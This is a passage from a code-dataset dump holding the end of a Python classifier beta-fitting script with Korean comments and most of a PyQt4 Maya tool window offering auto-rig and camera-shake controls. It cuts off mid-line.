\\beta값을 먼저 최적화한다.\n # \\alpha += a부터 시작하고, p값이 다시 감소한다면 a *= 1/10을 하여 다시 최적화한다.\n # \\beta도 alpha와 같은 방법으로 찾는다.\n\n for d, t in zip(data, target):\n d = d[0]\n # d = ls_logxp1dlog2(d)\n if t not in clf_outputs:\n print(t, 'import start')\n clf_outputs[t] = [d]\n else:\n clf_outputs[t].append(d)\n\n ckey = \"E0001\"\n bf = ProbaClassModel(ckey, None, {'bse': 'mm'})\n bf.aprx_betashape(clf_outputs[ckey])\n print(\"{}:\".format(ckey), bf['p-value'], \"var:\", bf['std'])\n\n for ckey in clf_outputs:\n bf = ProbaClassModel(ckey, None, {'bse': 'mm'})\n bf.aprx_betashape(clf_outputs[ckey])\n # bf.aprx_betashape(clf_outputs[ckey][:100])\n print(\"{}:\".format(ckey), bf['p-value'], \"var:\", bf['std'])\n print(\"End py\")\n","sub_path":"ClassifierSimulator/naeultech.py","file_name":"naeultech.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"78971634","text":"'''\r\n\r\nmayaScripts.ScriptsUI Created By Skies\r\n\r\nOn 2012-12-13 10:38:11\r\n\r\n'''\r\n\r\n'''\r\n\r\nfrom utils.hardReload import hardReload; hardReload(\"mayaScripts\")\r\nfrom mayaScripts.ScriptsUI import SkiesScript\r\ntry : x.close()\r\nexcept : pass\r\nx = SkiesScript()\r\nx.show()\r\n\r\n'''\r\n\r\nfrom Maya import Scripts as sk, Utils as su\r\nfrom Maya.Tools import ToolBar as st\r\nfrom PyQt4 import QtGui, QtCore\r\nfrom functools import partial\r\nimport maya.cmds as mc\r\nimport os\r\nimport sip\r\nimport sys\r\nreload(su)\r\nreload(sk)\r\n\r\nMaya = os.path.basename(sys.argv[0]) == \"maya.bin\"\r\nif Maya: from maya import OpenMayaUI\r\n\r\n# _______________________________ COMPILED UI _______________________________ #\r\n\r\ntry:\r\n _fromUtf8 = QtCore.QString.fromUtf8\r\nexcept AttributeError:\r\n def _fromUtf8(s):\r\n return s\r\n\r\ntry:\r\n _encoding = QtGui.QApplication.UnicodeUTF8\r\n def _translate(context, text, disambig):\r\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\r\nexcept AttributeError:\r\n def _translate(context, text, disambig):\r\n return QtGui.QApplication.translate(context, text, disambig)\r\n\r\nclass SkiesScript_UI(object):\r\n def setupUi(self, SkiesScript):\r\n SkiesScript.setObjectName(_fromUtf8(\"SkiesScript\"))\r\n SkiesScript.resize(400, 600)\r\n SkiesScript.setMinimumSize(QtCore.QSize(400, 600))\r\n SkiesScript.setMaximumSize(QtCore.QSize(500, 655))\r\n SkiesScript.setAutoFillBackground(False)\r\n SkiesScript.setStyleSheet(_fromUtf8(\"color: rgb(255, 255, 255);background-color: rgb(80, 80, 80);\"))\r\n SkiesScript.setDocumentMode(False)\r\n SkiesScript.setTabShape(QtGui.QTabWidget.Rounded)\r\n self.centralwidget = QtGui.QWidget(SkiesScript)\r\n self.centralwidget.setLayoutDirection(QtCore.Qt.LeftToRight)\r\n self.centralwidget.setAutoFillBackground(False)\r\n self.centralwidget.setStyleSheet(_fromUtf8(\"\"))\r\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\r\n self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)\r\n self.verticalLayout.setObjectName(_fromUtf8(\"verticalLayout\"))\r\n self.tabWidget = QtGui.QTabWidget(self.centralwidget)\r\n font = QtGui.QFont()\r\n font.setFamily(_fromUtf8(\"MS Shell Dlg 2\"))\r\n font.setPointSize(10)\r\n font.setBold(True)\r\n font.setItalic(False)\r\n font.setWeight(75)\r\n self.tabWidget.setFont(font)\r\n self.tabWidget.setMouseTracking(False)\r\n self.tabWidget.setAutoFillBackground(False)\r\n self.tabWidget.setStyleSheet(_fromUtf8(\"color: rgb(170, 170, 170);\\n\"\r\n\"font: 75 bold 10pt \\\"MS Shell Dlg 2\\\";\\n\"\r\n\"\"))\r\n self.tabWidget.setTabPosition(QtGui.QTabWidget.North)\r\n self.tabWidget.setTabShape(QtGui.QTabWidget.Rounded)\r\n self.tabWidget.setElideMode(QtCore.Qt.ElideNone)\r\n self.tabWidget.setUsesScrollButtons(True)\r\n self.tabWidget.setDocumentMode(False)\r\n self.tabWidget.setTabsClosable(False)\r\n self.tabWidget.setMovable(True)\r\n self.tabWidget.setObjectName(_fromUtf8(\"tabWidget\"))\r\n self.scripts_tab = QtGui.QWidget()\r\n self.scripts_tab.setAutoFillBackground(False)\r\n self.scripts_tab.setStyleSheet(_fromUtf8(\"color: rgb(255, 255, 255);\\n\"\r\n\"font: 8pt \\\"MS Shell Dlg 2\\\";\"))\r\n self.scripts_tab.setObjectName(_fromUtf8(\"scripts_tab\"))\r\n self.verticalLayout_7 = QtGui.QVBoxLayout(self.scripts_tab)\r\n self.verticalLayout_7.setObjectName(_fromUtf8(\"verticalLayout_7\"))\r\n self.scripts_tools_lab = QtGui.QLabel(self.scripts_tab)\r\n self.scripts_tools_lab.setMinimumSize(QtCore.QSize(0, 40))\r\n self.scripts_tools_lab.setStyleSheet(_fromUtf8(\"background-color: rgb(170, 0, 0);\\n\"\r\n\"color: rgb(255, 255, 255);\"))\r\n self.scripts_tools_lab.setAlignment(QtCore.Qt.AlignCenter)\r\n self.scripts_tools_lab.setObjectName(_fromUtf8(\"scripts_tools_lab\"))\r\n self.verticalLayout_7.addWidget(self.scripts_tools_lab)\r\n self.scripts_pythonTest_pb = QtGui.QPushButton(self.scripts_tab)\r\n self.scripts_pythonTest_pb.setMinimumSize(QtCore.QSize(0, 30))\r\n self.scripts_pythonTest_pb.setCheckable(False)\r\n self.scripts_pythonTest_pb.setAutoDefault(False)\r\n self.scripts_pythonTest_pb.setFlat(False)\r\n self.scripts_pythonTest_pb.setObjectName(_fromUtf8(\"scripts_pythonTest_pb\"))\r\n self.verticalLayout_7.addWidget(self.scripts_pythonTest_pb)\r\n self.scripts_camShake_pb = QtGui.QPushButton(self.scripts_tab)\r\n self.scripts_camShake_pb.setMinimumSize(QtCore.QSize(0, 30))\r\n self.scripts_camShake_pb.setObjectName(_fromUtf8(\"scripts_camShake_pb\"))\r\n self.verticalLayout_7.addWidget(self.scripts_camShake_pb)\r\n self.horizontalLayout_32 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_32.setObjectName(_fromUtf8(\"horizontalLayout_32\"))\r\n self.scripts_myShelf_pb = QtGui.QPushButton(self.scripts_tab)\r\n self.scripts_myShelf_pb.setMinimumSize(QtCore.QSize(0, 30))\r\n self.scripts_myShelf_pb.setObjectName(_fromUtf8(\"scripts_myShelf_pb\"))\r\n self.horizontalLayout_32.addWidget(self.scripts_myShelf_pb)\r\n self.scripts_toolbar_pb = QtGui.QPushButton(self.scripts_tab)\r\n self.scripts_toolbar_pb.setMinimumSize(QtCore.QSize(0, 30))\r\n self.scripts_toolbar_pb.setObjectName(_fromUtf8(\"scripts_toolbar_pb\"))\r\n self.horizontalLayout_32.addWidget(self.scripts_toolbar_pb)\r\n self.verticalLayout_7.addLayout(self.horizontalLayout_32)\r\n self.horizontalLayout_31 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_31.setObjectName(_fromUtf8(\"horizontalLayout_31\"))\r\n self.scripts_resetGrp_pb = QtGui.QPushButton(self.scripts_tab)\r\n self.scripts_resetGrp_pb.setMinimumSize(QtCore.QSize(0, 30))\r\n self.scripts_resetGrp_pb.setObjectName(_fromUtf8(\"scripts_resetGrp_pb\"))\r\n self.horizontalLayout_31.addWidget(self.scripts_resetGrp_pb)\r\n self.scripts_resetGrp_remove_rb = QtGui.QRadioButton(self.scripts_tab)\r\n self.scripts_resetGrp_remove_rb.setMinimumSize(QtCore.QSize(0, 30))\r\n self.scripts_resetGrp_remove_rb.setCheckable(True)\r\n self.scripts_resetGrp_remove_rb.setChecked(True)\r\n self.scripts_resetGrp_remove_rb.setObjectName(_fromUtf8(\"scripts_resetGrp_remove_rb\"))\r\n self.horizontalLayout_31.addWidget(self.scripts_resetGrp_remove_rb)\r\n self.scripts_resetGrp_keep_rb = QtGui.QRadioButton(self.scripts_tab)\r\n self.scripts_resetGrp_keep_rb.setMinimumSize(QtCore.QSize(0, 30))\r\n self.scripts_resetGrp_keep_rb.setChecked(False)\r\n self.scripts_resetGrp_keep_rb.setObjectName(_fromUtf8(\"scripts_resetGrp_keep_rb\"))\r\n self.horizontalLayout_31.addWidget(self.scripts_resetGrp_keep_rb)\r\n self.verticalLayout_7.addLayout(self.horizontalLayout_31)\r\n self.scripts_autoRig_lab = QtGui.QLabel(self.scripts_tab)\r\n self.scripts_autoRig_lab.setMinimumSize(QtCore.QSize(0, 40))\r\n self.scripts_autoRig_lab.setStyleSheet(_fromUtf8(\"background-color: rgb(0, 0, 127);\\n\"\r\n\"color: rgb(255, 255, 255);\"))\r\n self.scripts_autoRig_lab.setAlignment(QtCore.Qt.AlignCenter)\r\n self.scripts_autoRig_lab.setObjectName(_fromUtf8(\"scripts_autoRig_lab\"))\r\n self.verticalLayout_7.addWidget(self.scripts_autoRig_lab)\r\n self.horizontalLayout_30 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_30.setMargin(0)\r\n self.horizontalLayout_30.setObjectName(_fromUtf8(\"horizontalLayout_30\"))\r\n self.verticalLayout_7.addLayout(self.horizontalLayout_30)\r\n self.verticalLayout_2 = QtGui.QVBoxLayout()\r\n self.verticalLayout_2.setSpacing(5)\r\n self.verticalLayout_2.setSizeConstraint(QtGui.QLayout.SetDefaultConstraint)\r\n self.verticalLayout_2.setMargin(5)\r\n self.verticalLayout_2.setObjectName(_fromUtf8(\"verticalLayout_2\"))\r\n self.horizontalLayout_33 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_33.setMargin(0)\r\n self.horizontalLayout_33.setObjectName(_fromUtf8(\"horizontalLayout_33\"))\r\n self.scripts_autoRig_arm_pb = QtGui.QPushButton(self.scripts_tab)\r\n self.scripts_autoRig_arm_pb.setMinimumSize(QtCore.QSize(0, 50))\r\n self.scripts_autoRig_arm_pb.setMaximumSize(QtCore.QSize(16777215, 16777215))\r\n self.scripts_autoRig_arm_pb.setObjectName(_fromUtf8(\"scripts_autoRig_arm_pb\"))\r\n self.horizontalLayout_33.addWidget(self.scripts_autoRig_arm_pb)\r\n self.scripts_autoRig_arm_txt = QtGui.QTextEdit(self.scripts_tab)\r\n self.scripts_autoRig_arm_txt.setMinimumSize(QtCore.QSize(0, 45))\r\n self.scripts_autoRig_arm_txt.setMaximumSize(QtCore.QSize(16777215, 45))\r\n self.scripts_autoRig_arm_txt.setStyleSheet(_fromUtf8(\"color: rgb(220, 220, 0);\\n\"\r\n\"background-color: rgb(40, 40, 40);\"))\r\n self.scripts_autoRig_arm_txt.setFrameShape(QtGui.QFrame.WinPanel)\r\n self.scripts_autoRig_arm_txt.setFrameShadow(QtGui.QFrame.Raised)\r\n self.scripts_autoRig_arm_txt.setLineWidth(2)\r\n self.scripts_autoRig_arm_txt.setMidLineWidth(2)\r\n self.scripts_autoRig_arm_txt.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)\r\n self.scripts_autoRig_arm_txt.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAsNeeded)\r\n self.scripts_autoRig_arm_txt.setAutoFormatting(QtGui.QTextEdit.AutoNone)\r\n self.scripts_autoRig_arm_txt.setTabChangesFocus(True)\r\n self.scripts_autoRig_arm_txt.setLineWrapMode(QtGui.QTextEdit.NoWrap)\r\n self.scripts_autoRig_arm_txt.setLineWrapColumnOrWidth(0)\r\n self.scripts_autoRig_arm_txt.setAcceptRichText(True)\r\n self.scripts_autoRig_arm_txt.setObjectName(_fromUtf8(\"scripts_autoRig_arm_txt\"))\r\n self.horizontalLayout_33.addWidget(self.scripts_autoRig_arm_txt)\r\n self.verticalLayout_2.addLayout(self.horizontalLayout_33)\r\n self.horizontalLayout_34 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_34.setSpacing(6)\r\n self.horizontalLayout_34.setMargin(0)\r\n self.horizontalLayout_34.setObjectName(_fromUtf8(\"horizontalLayout_34\"))\r\n self.scripts_autoRig_leg_pb = QtGui.QPushButton(self.scripts_tab)\r\n self.scripts_autoRig_leg_pb.setMinimumSize(QtCore.QSize(0, 50))\r\n self.scripts_autoRig_leg_pb.setMaximumSize(QtCore.QSize(16777215, 16777215))\r\n self.scripts_autoRig_leg_pb.setObjectName(_fromUtf8(\"scripts_autoRig_leg_pb\"))\r\n self.horizontalLayout_34.addWidget(self.scripts_autoRig_leg_pb)\r\n self.scripts_autoRig_leg_txt = QtGui.QTextEdit(self.scripts_tab)\r\n self.scripts_autoRig_leg_txt.setMinimumSize(QtCore.QSize(0, 45))\r\n self.scripts_autoRig_leg_txt.setMaximumSize(QtCore.QSize(16777215, 45))\r\n self.scripts_autoRig_leg_txt.setStyleSheet(_fromUtf8(\"color: rgb(220, 220, 0);\\n\"\r\n\"background-color: rgb(40, 40, 40);\"))\r\n self.scripts_autoRig_leg_txt.setFrameShape(QtGui.QFrame.WinPanel)\r\n self.scripts_autoRig_leg_txt.setFrameShadow(QtGui.QFrame.Raised)\r\n self.scripts_autoRig_leg_txt.setLineWidth(2)\r\n self.scripts_autoRig_leg_txt.setMidLineWidth(2)\r\n self.scripts_autoRig_leg_txt.setTabChangesFocus(True)\r\n self.scripts_autoRig_leg_txt.setLineWrapMode(QtGui.QTextEdit.NoWrap)\r\n self.scripts_autoRig_leg_txt.setObjectName(_fromUtf8(\"scripts_autoRig_leg_txt\"))\r\n self.horizontalLayout_34.addWidget(self.scripts_autoRig_leg_txt)\r\n self.verticalLayout_2.addLayout(self.horizontalLayout_34)\r\n self.scripts_autoRig_spine_pb = QtGui.QPushButton(self.scripts_tab)\r\n self.scripts_autoRig_spine_pb.setMinimumSize(QtCore.QSize(0, 50))\r\n self.scripts_autoRig_spine_pb.setIconSize(QtCore.QSize(16, 16))\r\n self.scripts_autoRig_spine_pb.setDefault(False)\r\n self.scripts_autoRig_spine_pb.setObjectName(_fromUtf8(\"scripts_autoRig_spine_pb\"))\r\n self.verticalLayout_2.addWidget(self.scripts_autoRig_spine_pb)\r\n self.verticalLayout_7.addLayout(self.verticalLayout_2)\r\n self.scripts_IKFK_pb = QtGui.QPushButton(self.scripts_tab)\r\n self.scripts_IKFK_pb.setMinimumSize(QtCore.QSize(0, 40))\r\n self.scripts_IKFK_pb.setObjectName(_fromUtf8(\"scripts_IKFK_pb\"))\r\n self.verticalLayout_7.addWidget(self.scripts_IKFK_pb)\r\n self.tabWidget.addTab(self.scripts_tab, _fromUtf8(\"\"))\r\n self.camShake_tab = QtGui.QWidget()\r\n self.camShake_tab.setAcceptDrops(False)\r\n self.camShake_tab.setAutoFillBackground(False)\r\n self.camShake_tab.setStyleSheet(_fromUtf8(\"color: rgb(255, 255, 255);\\n\"\r\n\"font: 8pt \\\"MS Shell Dlg 2\\\";\"))\r\n self.camShake_tab.setObjectName(_fromUtf8(\"camShake_tab\"))\r\n self.verticalLayout_9 = QtGui.QVBoxLayout(self.camShake_tab)\r\n self.verticalLayout_9.setObjectName(_fromUtf8(\"verticalLayout_9\"))\r\n self.camShake_oldUI = QtGui.QPushButton(self.camShake_tab)\r\n self.camShake_oldUI.setObjectName(_fromUtf8(\"camShake_oldUI\"))\r\n self.verticalLayout_9.addWidget(self.camShake_oldUI)\r\n self.horizontalLayout_35 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_35.setObjectName(_fromUtf8(\"horizontalLayout_35\"))\r\n self.camShake_startFrame_lab = QtGui.QLabel(self.camShake_tab)\r\n self.camShake_startFrame_lab.setMaximumSize(QtCore.QSize(70, 16777215))\r\n self.camShake_startFrame_lab.setObjectName(_fromUtf8(\"camShake_startFrame_lab\"))\r\n self.horizontalLayout_35.addWidget(self.camShake_startFrame_lab)\r\n self.camShake_startFrame_sb = QtGui.QSpinBox(self.camShake_tab)\r\n self.camShake_startFrame_sb.setStyleSheet(_fromUtf8(\"background-color: rgb(40, 40, 40);\"))\r\n self.camShake_startFrame_sb.setMaximum(10000)\r\n self.camShake_startFrame_sb.setObjectName(_fromUtf8(\"camShake_startFrame_sb\"))\r\n self.horizontalLayout_35.addWidget(self.camShake_startFrame_sb)\r\n self.camShake_startFrame_pb = QtGui.QPushButton(self.camShake_tab)\r\n self.camShake_startFrame_pb.setObjectName(_fromUtf8(\"camShake_startFrame_pb\"))\r\n self.horizontalLayout_35.addWidget(self.camShake_startFrame_pb)\r\n self.verticalLayout_9.addLayout(self.horizontalLayout_35)\r\n self.horizontalLayout_41 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_41.setObjectName(_fromUtf8(\"horizontalLayout_41\"))\r\n self.camShake_endFrame_lab = QtGui.QLabel(self.camShake_tab)\r\n self.camShake_endFrame_lab.setMaximumSize(QtCore.QSize(70, 16777215))\r\n self.camShake_endFrame_lab.setObjectName(_fromUtf8(\"camShake_endFrame_lab\"))\r\n self.horizontalLayout_41.addWidget(self.camShake_endFrame_lab)\r\n self.camShake_endFrame_sb = QtGui.QSpinBox(self.camShake_tab)\r\n self.camShake_endFrame_sb.setStyleSheet(_fromUtf8(\"background-color: rgb(40, 40, 40);\"))\r\n self.camShake_endFrame_sb.setMaximum(10000)\r\n self.camShake_endFrame_sb.setObjectName(_fromUtf8(\"camShake_endFrame_sb\"))\r\n self.horizontalLayout_41.addWidget(self.camShake_endFrame_sb)\r\n self.camShake_endFrame_pb = QtGui.QPushButton(self.camShake_tab)\r\n self.camShake_endFrame_pb.setObjectName(_fromUtf8(\"camShake_endFrame_pb\"))\r\n self.horizontalLayout_41.addWidget(self.camShake_endFrame_pb)\r\n self.verticalLayout_9.addLayout(self.horizontalLayout_41)\r\n self.horizontalLayout_43 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_43.setObjectName(_fromUtf8(\"horizontalLayout_43\"))\r\n self.camShake_freq_lab = QtGui.QLabel(self.camShake_tab)\r\n self.camShake_freq_lab.setMaximumSize(QtCore.QSize(70, 16777215))\r\n self.camShake_freq_lab.setObjectName(_fromUtf8(\"camShake_freq_lab\"))\r\n self.horizontalLayout_43.addWidget(self.camShake_freq_lab)\r\n self.camShake_freq_sb = QtGui.QSpinBox(self.camShake_tab)\r\n self.camShake_freq_sb.setStyleSheet(_fromUtf8(\"background-color: rgb(40, 40, 40);\"))\r\n self.camShake_freq_sb.setMinimum(1)\r\n self.camShake_freq_sb.setMaximum(50)\r\n self.camShake_freq_sb.setObjectName(_fromUtf8(\"camShake_freq_sb\"))\r\n self.horizontalLayout_43.addWidget(self.camShake_freq_sb)\r\n self.camShake_freq_hs = QtGui.QSlider(self.camShake_tab)\r\n self.camShake_freq_hs.setMinimum(1)\r\n self.camShake_freq_hs.setMaximum(50)\r\n self.camShake_freq_hs.setOrientation(QtCore.Qt.Horizontal)\r\n self.camShake_freq_hs.setInvertedAppearance(False)\r\n self.camShake_freq_hs.setInvertedControls(False)\r\n self.camShake_freq_hs.setObjectName(_fromUtf8(\"camShake_freq_hs\"))\r\n self.horizontalLayout_43.addWidget(self.camShake_freq_hs)\r\n self.verticalLayout_9.addLayout(self.horizontalLayout_43)\r\n self.horizontalLayout_38 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_38.setObjectName(_fromUtf8(\"horizontalLayout_38\"))\r\n self.camShake_tr_lab = QtGui.QLabel(self.camShake_tab)\r\n self.camShake_tr_lab.setMaximumSize(QtCore.QSize(70, 16777215))\r\n self.camShake_tr_lab.setObjectName(_fromUtf8(\"camShake_tr_lab\"))\r\n self.horizontalLayout_38.addWidget(self.camShake_tr_lab)\r\n self.camShake_tr_ALL_cb = QtGui.QCheckBox(self.camShake_tab)\r\n self.camShake_tr_ALL_cb.setStyleSheet(_fromUtf8(\"\"))\r\n self.camShake_tr_ALL_cb.setObjectName(_fromUtf8(\"camShake_tr_ALL_cb\"))\r\n self.horizontalLayout_38.addWidget(self.camShake_tr_ALL_cb)\r\n self.verticalLayout_9.addLayout(self.horizontalLayout_38)\r\n self.horizontalLayout_40 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_40.setObjectName(_fromUtf8(\"horizontalLayout_40\"))\r\n self.camShake_rot_empty_lab = QtGui.QLabel(self.camShake_tab)\r\n self.camShake_rot_empty_lab.setMaximumSize(QtCore.QSize(70, 16777215))\r\n self.camShake_rot_empty_lab.setText(_fromUtf8(\"\"))\r\n self.camShake_rot_empty_lab.setObjectName(_fromUtf8(\"camShake_rot_empty_lab\"))\r\n self.horizontalLayout_40.addWidget(self.camShake_rot_empty_lab)\r\n self.camShake_rot_X_cb = QtGui.QCheckBox(self.camShake_tab)\r\n self.camShake_rot_X_cb.setObjectName(_fromUtf8(\"camShake_rot_X_cb\"))\r\n self.horizontalLayout_40.addWidget(self.camShake_rot_X_cb)\r\n self.camShake_rot_Y_cb = QtGui.QCheckBox(self.camShake_tab)\r\n self.camShake_rot_Y_cb.setObjectName(_fromUtf8(\"camShake_rot_Y_cb\"))\r\n self.horizontalLayout_40.addWidget(self.camShake_rot_Y_cb)\r\n self.camShake_rot_Z_cb = QtGui.QCheckBox(self.camShake_tab)\r\n self.camShake_rot_Z_cb.setObjectName(_fromUtf8(\"camShake_rot_Z_cb\"))\r\n self.horizontalLayout_40.addWidget(self.camShake_rot_Z_cb)\r\n self.verticalLayout_9.addLayout(self.horizontalLayout_40)\r\n self.horizontalLayout_37 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_37.setObjectName(_fromUtf8(\"horizontalLayout_37\"))\r\n self.camShake_tr_amp_lab = QtGui.QLabel(self.camShake_tab)\r\n self.camShake_tr_amp_lab.setMaximumSize(QtCore.QSize(70, 16777215))\r\n self.camShake_tr_amp_lab.setObjectName(_fromUtf8(\"camShake_tr_amp_lab\"))\r\n self.horizontalLayout_37.addWidget(self.camShake_tr_amp_lab)\r\n self.camShake_tr_amp_sb = QtGui.QSpinBox(self.camShake_tab)\r\n self.camShake_tr_amp_sb.setStyleSheet(_fromUtf8(\"background-color: rgb(40, 40, 40);\"))\r\n self.camShake_tr_amp_sb.setMinimum(0)\r\n self.camShake_tr_amp_sb.setMaximum(50)\r\n self.camShake_tr_amp_sb.setObjectName(_fromUtf8(\"camShake_tr_amp_sb\"))\r\n self.horizontalLayout_37.addWidget(self.camShake_tr_amp_sb)\r\n self.camShake_tr_amp_hs = QtGui.QSlider(self.camShake_tab)\r\n self.camShake_tr_amp_hs.setMinimum(0)\r\n self.camShake_tr_amp_hs.setMaximum(50)\r\n self.camShake_tr_amp_hs.setOrientation(QtCore.Qt.Horizontal)\r\n self.camShake_tr_amp_hs.setObjectName(_fromUtf8(\"camShake_tr_amp_hs\"))\r\n self.horizontalLayout_37.addWidget(self.camShake_tr_amp_hs)\r\n self.verticalLayout_9.addLayout(self.horizontalLayout_37)\r\n self.horizontalLayout_36 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_36.setObjectName(_fromUtf8(\"horizontalLayout_36\"))\r\n self.camShake_rot_lab = QtGui.QLabel(self.camShake_tab)\r\n self.camShake_rot_lab.setMaximumSize(QtCore.QSize(70, 16777215))\r\n self.camShake_rot_lab.setObjectName(_fromUtf8(\"camShake_rot_lab\"))\r\n self.horizontalLayout_36.addWidget(self.camShake_rot_lab)\r\n self.camShake_rot_ALL_cb = QtGui.QCheckBox(self.camShake_tab)\r\n self.camShake_rot_ALL_cb.setObjectName(_fromUtf8(\"camShake_rot_ALL_cb\"))\r\n self.horizontalLayout_36.addWidget(self.camShake_rot_ALL_cb)\r\n self.verticalLayout_9.addLayout(self.horizontalLayout_36)\r\n self.horizontalLayout_39 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_39.setObjectName(_fromUtf8(\"horizontalLayout_39\"))\r\n self.camShake_tr_empty_lab = QtGui.QLabel(self.camShake_tab)\r\n self.camShake_tr_empty_lab.setMaximumSize(QtCore.QSize(70, 16777215))\r\n self.camShake_tr_empty_lab.setText(_fromUtf8(\"\"))\r\n self.camShake_tr_empty_lab.setObjectName(_fromUtf8(\"camShake_tr_empty_lab\"))\r\n self.horizontalLayout_39.addWidget(self.camShake_tr_empty_lab)\r\n self.camShake_tr_X_cb = QtGui.QCheckBox(self.camShake_tab)\r\n self.camShake_tr_X_cb.setObjectName(_fromUtf8(\"camShake_tr_X_cb\"))\r\n self.horizontalLayout_39.addWidget(self.camShake_tr_X_cb)\r\n self.camShake_tr_Y_cb = QtGui.QCheckBox(self.camShake_tab)\r\n self.camShake_tr_Y_cb.setObjectName(_fromUtf8(\"camShake_tr_Y_cb\"))\r\n self.horizontalLayout_39.addWidget(self.camShake_tr_Y_cb)\r\n self.camShake_tr_Z_cb = QtGui.QCheckBox(self.camShake_tab)\r\n self.camShake_tr_Z_cb.setObjectName(_fromUtf8(\"camShake_tr_Z_cb\"))\r\n self.horizontalLayout_39.addWidget(self.camShake_tr_Z_cb)\r\n self.verticalLayout_9.addLayout(self.horizontalLayout_39)\r\n self.horizontalLayout_42 = QtGui.QHBoxLayout()\r\n self.horizontalLayout_42.setObjectName(_fromUtf8(\"horizontalLayout_42\"))\r\n self.camShake_rot_amp_lab = QtGui.QLabel(self.camShake_tab)\r\n self.camShake_rot_amp_lab.setMaximumSize(QtCore.QSize(70, 16777215))\r\n self.camShake_rot_amp_lab.setObjectName(_fromUtf8(\"camShake_rot_amp_lab\"))\r\n self.horizontalLayout_42.addWidget(self.camShake_rot_amp_lab)\r\n self.camShake_rot_amp_sb = QtGui.QSpinBox(self.camShake_tab)\r\n self.camShake_rot_amp_sb.setStyleSheet(_fromUtf8(\"background-color: rgb(40, 40, 40);\"))\r\n self.camShake_rot_amp_sb.setButtonSymbols(QtGui.QAbstractSpinBox.UpDownArrows)\r\n self.camShake_rot_amp_sb.setMinimum(0)\r\n self.camShake_rot_amp_sb.setMaximum(50)\r\n self.camShake_rot_amp_sb.setObjectName(_fromUtf8(\"camShake_rot_amp_sb\"))\r\n self.horizontalLayout_42.addWidget(self.camShake_rot_amp_sb)\r\n self.camShake_rot_amp_hs = QtGui.QSlider(self.camShake_tab)\r\n self.camShake_rot_amp_hs.setMinimum(0)\r\n self.camShake_rot_amp_hs.setMaximum(50)\r\n self.camShake_rot_amp_hs.setOrientation(QtCore.Qt.Horizontal)\r\n self.camShake_rot_amp_hs.setObjectName(_fromUtf8(\"camShake_rot_amp_hs\"))\r\n self.horizontalLayout_42.addWidget(self.camShake_rot_amp_hs)\r\n self.verticalLayout_9.addLayout(self.horizontalLayout_42)\r\n self.camShake_doIt = QtGui.QPushButton(self.camShake_tab)\r\n self.camShake_doIt.setObjectName(_fromUtf8(\"camShake_doIt\"))\r\n self.verticalLayout_9.addWidget(self.camShake_doIt)\r\n self.tabWidget.addTab(self.camShake_tab, _fromUtf8(\"\"))\r\n self.verticalLayout.addWidget(self.tabWidget)\r\n SkiesScript.setCentralWidget(self.centralwidget)\r\n\r\n self.retranslateUi(SkiesScript)\r\n self.tabWidget.setCurrentIndex(1)\r\n QtCore.QObject.connect(self.camShake_freq_hs, QtCore.SIGNAL(_fromUtf8(\"valueChanged(int)\")), self.camShake_freq_sb.setValue)\r\n QtCore.QObject.connect(self.camShake_tr_amp_hs, QtCore.SIGNAL(_fromUtf8(\"valueChanged(int)\")), self.camShake_tr_amp_sb.setValue)\r\n QtCore.QObject.connect(self.camShake_rot_amp_hs, QtCore.SIGNAL(_fromUtf8(\"valueChanged(int)\")), self.camShake_rot_amp_sb.setValue)\r\n QtCore.QMetaObject.connectSlotsByName(SkiesScript)\r\n\r\n def retranslateUi(self, SkiesScript):\r\n SkiesScript.setWindowTitle(_translate(\"SkiesScript\", \"Skies Scripts\", None))\r\n self.scripts_tools_lab.setText(_translate(\"SkiesScript\", \"Skies\\'s Tools\", None))\r\n self.scripts_pythonTest_pb.setText(_translate(\"SkiesScript\", \"Python Test\", None))\r\n self.scripts_camShake_pb.setText(_translate(\"SkiesScript\", \"Camera Shake\", None))\r\n self.scripts_myShelf_pb.setText(_translate(\"SkiesScript\", \"Create myMenu\", None))\r\n self.scripts_toolbar_pb.setText(_translate(\"SkiesScript\", \"Open myToolBar\", None))\r\n self.scripts_resetGrp_pb.setText(_translate(\"SkiesScript\", \"Reset Group\", None))\r\n self.scripts_resetGrp_remove_rb.setText(_translate(\"SkiesScript\", \"Remove Numbers\", None))\r\n self.scripts_resetGrp_keep_rb.setText(_translate(\"SkiesScript\", \"Keep Numbers\", None))\r\n self.scripts_autoRig_lab.setText(_translate(\"SkiesScript\", \"Skies\\'s Auto Rig\", None))\r\n self.scripts_autoRig_arm_pb.setText(_translate(\"SkiesScript\", \"AutoRig -\\n\"\r\n\"Arms\", None))\r\n self.scripts_autoRig_leg_pb.setText(_translate(\"SkiesScript\", \"AutoRig -\\n\"\r\n\"Legs\", None))\r\n self.scripts_autoRig_spine_pb.setText(_translate(\"SkiesScript\", \"AutoRig - Spine\", None))\r\n self.scripts_IKFK_pb.setText(_translate(\"SkiesScript\", \"IKFK Match Move for Arms\", None))\r\n self.tabWidget.setTabText(self.tabWidget.indexOf(self.scripts_tab), _translate(\"SkiesScript\", \"Scripts\", None))\r\n self.camShake_oldUI.setText(_translate(\"SkiesScript\", \"Camera Shake Window\", None))\r\n self.camShake_startFrame_lab.setText(_translate(\"SkiesScript\", \"Start Frame :\", None))\r\n self.camShake_startFrame_pb.setText(_translate(\"SkiesScript\", \"Set Start Frame\", None))\r\n self.camShake_endFrame_lab.setText(_translate(\"SkiesScript\", \"End Frame :\", None))\r\n self.camShake_endFrame_pb.setText(_translate(\"SkiesScript\", \"Set End Frame\", None))\r\n self.camShake_freq_lab.setText(_translate(\"SkiesScript\", 